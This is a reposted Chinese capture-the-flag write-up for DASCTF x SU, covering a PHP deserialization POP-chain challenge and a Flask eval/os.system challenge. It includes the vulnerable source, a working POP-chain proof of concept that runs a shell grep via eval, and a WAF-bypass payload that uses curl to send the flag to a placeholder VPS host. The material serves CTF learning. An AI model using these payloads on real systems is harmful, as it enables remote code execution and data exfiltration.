DASCTF x SU 三月wp+复现

之前给忘了 已经搭建新站很久了~
师傅们来找我玩呀
因为还没复现完就先放这里了 复现完再放新站

ezpop

直接得到源码:


class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

pop链:

1.首先找到 destruct方法作为入口,触发toString
2.what类里面转到mix类的run方法
3.mix的run触发crow的invoke方法
4.然后触发call方法调用get_flag
5.最后换行绕过注释

poc:


class crow
{
    public $v1;
    public $v2;
    public function __construct($v1,$v2)
    {
        $this->v1 = $v1;
        $this->v2 = $v2;
    }
}

class fin
{
    public $f1;
    public function __construct($f1)
    {
        $this->f1 = $f1;
    }
}

class what
{
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
}
class mix
{
    public function __construct($m1)
    {
        $this->m1 = $m1;
    }
}

$a = new fin(new what(new mix(new crow(new fin(new mix(';
system(\'grep -r "{"\');')),''))));
echo urlencode(serialize($a));

DASCTF x SU 三月wp+复现

小记:
因为太菜了所以比赛的时候只做出了pop,其他题目等复现了再放上来

复现来啦 ~

calc


from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \
    abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time

app = Flask(__name__)

def waf(s):
    blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
                 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
                 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
                 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag

@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

1.赛时

waf过滤了很多关键词和符号,所以几乎不能用SSTI注入,但是当时就想着肯定能用SSTI,所以就一直卡住了(

然后因为之前做过类似的,利用报错进行模板注入,但是这道题利用 1/0#这种形式也是完全过不了的,因为有js进行检测

然后就把目光放到了eval中,在想着该怎么传入num才使得eval或者system执行我们想要的代码,但是一直没有想到该怎么办

@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)

2.赛后

赛后看了别的师傅的wp

确实是从 os.system(log)入手的,但是这里用到 #是为了注释掉后面的内容,因为如果 eval(num)出错的话,是不会进行下去的,导致实现不了rce

DASCTF x SU 三月wp+复现

python又支持 #与字符连接还是能当作注释符,而在unix中如果 #与字符相邻则也会被当作字符,就可以利用这个区别直接构造payload

再利用反引号进行命令执行

DASCTF x SU 三月wp+复现

不过感觉可能是环境原因,直接用反引号没有返回值,直接用curl外带,payload:

/calc?num=1%23curl%09http://vps:5656/?flag=\%09Th1s*\

Original: https://blog.csdn.net/yuermon/article/details/123837025
Author: ameuu
Title: DASCTF x SU 三月wp+复现

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/748158/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • python中pcolor_Python Matplotlib.pyplot.pcolor()用法及代码示例

    Matplotlib是用于数据可视化的著名Python软件包。 Numpy是Matplotlib的数字数学扩展。 Matplotlib能够生成high-quality个图形,图表和…

    Python 2023年9月4日
    040
  • ubuntu1804搭建FTP服务器的方法

    ftp采用的是双端口模式,分为命令端口和数据端口,命令端口对应命令通道,数据端口对应数据通道。 主动模式:FTP服务器主动连接客户端,这个时候FTP服务器的数据端口使用的是20端口…

    Python 2023年10月13日
    036
  • ChatGPT教程之 04 使用 ChatGPT 解决 Leetcode 难题?

    虽然 ChatGPT 令人印象深刻,但它似乎无法轻松给出复杂问题的正确答案。我尝试使用 ChatGPT 解决前 10 个 Leetcode 难题(标记在热门面试问题下)以验证相同的…

    Python 2023年11月3日
    042
  • Django Models 数据库基本操作总结

    1.Django 对各种数据库提供了很好的支持,包括:PostgreSQL、MySQL、SQLite、Oracle。2.Django 为这些数据库提供了统一的调用API。 我们可以…

    Python 2023年8月6日
    034
  • 【二分查找】算法

    二分查找 其实二分查找是一个很容易理解的算法,其需要注意的一点就是细节—–边界问题。 目录: 简介: 二分查找也称折半查找(Binary Search),它…

    Python 2023年6月11日
    081
  • Pandas入门详细教程(二)

    文章目录 * – pandas常用统计方法 – 数据合并之join、merge – 分组和聚合 pandas基础内容可跳转之前文章 Pandas…

    Python 2023年8月18日
    072
  • 【机器学习】李宏毅——机器学习任务攻略

    这一节的主要内容是 当测试数据的准确度不够高的时候应该怎么做。 首先一定要检查你的训练数据集的误差,如果发现是你的训练数据集误差也比较大,那么就有两种可能: 模型过于简单,无法很好…

    Python 2023年10月12日
    046
  • Pandas中数据类型的理解

    ### 回答1: Pandas_数据分析100例PDF是一本 _Python_数据科学编程教程,以实例为基础,展示了使用 _Pandas_进行数据清洗、数据分析和数据可视化的常见场…

    Python 2023年8月7日
    050
  • Django 4.0

    Web 后端 开发 后端程序主要工作就是 数据管理。 通常 包括数据的 存储 (包括 增加、删除、修改)和 查&a…

    Python 2023年8月3日
    042
  • 第五章 数据结构6

    python学习之数据结构6 第五章 数据结构6 相关代码如下 from sys import getsizeof values = (x * 2 for x in range(1…

    Python 2023年6月11日
    051
  • 【Flask】Request和RequestParser类

    1、RequestParser类 Flask-RESTful 提供了RequestParser类,用来帮助我们检验和转换请求数据。 使用步骤:1.创建RequestParser对象…

    Python 2023年8月13日
    056
  • 学会Python开发的第一步:写一个桌面小程序

    前言 嗨喽,大家好呀~这里是爱看美女的茜茜呐 又到了学Python时刻~ 当使用桌面应用程序的时候,有没有那么一瞬间, 想学习一下桌面应用程序开发? 建议此次课程大家稍作了解不要浪…

    Python 2023年10月7日
    043
  • 模型调优:验证集的作用(就是为了调整超参数)

    一、总结 一句话总结:验证集的作用就是为了调整超参数 1、超参数? 【超参数的值不是学习出来的】:大多数机器学习算法都有超参数,可以设置来控制算法行为。超参数的值不是通过学习算法本…

    Python 2023年10月26日
    037
  • python——pytest单元测试

    前提:需要安装pytest和pytest-html(生成html测试报告)pip install pytest 和 pip install pytest-html案例一pytest…

    Python 2023年9月10日
    037
  • 【python数据分析】绘制双Y轴坐标系

    前言 Matplotlib绘制出的图形中会存在一些问题,例如:如何绘制双Y轴坐标系?如何去掉图形默认的边框?以及如何移动坐标到指定位置?下面我们就来看看如何解决 1️⃣twinx(…

    Python 2023年8月31日
    040
  • Redis解决秒杀微服务抢购代金券超卖和同一个用户多次抢购

    文章目录 * – 超卖和同一用户多次抢购问题分析 – 解决库存超卖问题 – + 添加相关枚举 + 添加RedisTemplate配置类 + 改造…

    Python 2023年9月27日
    063
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球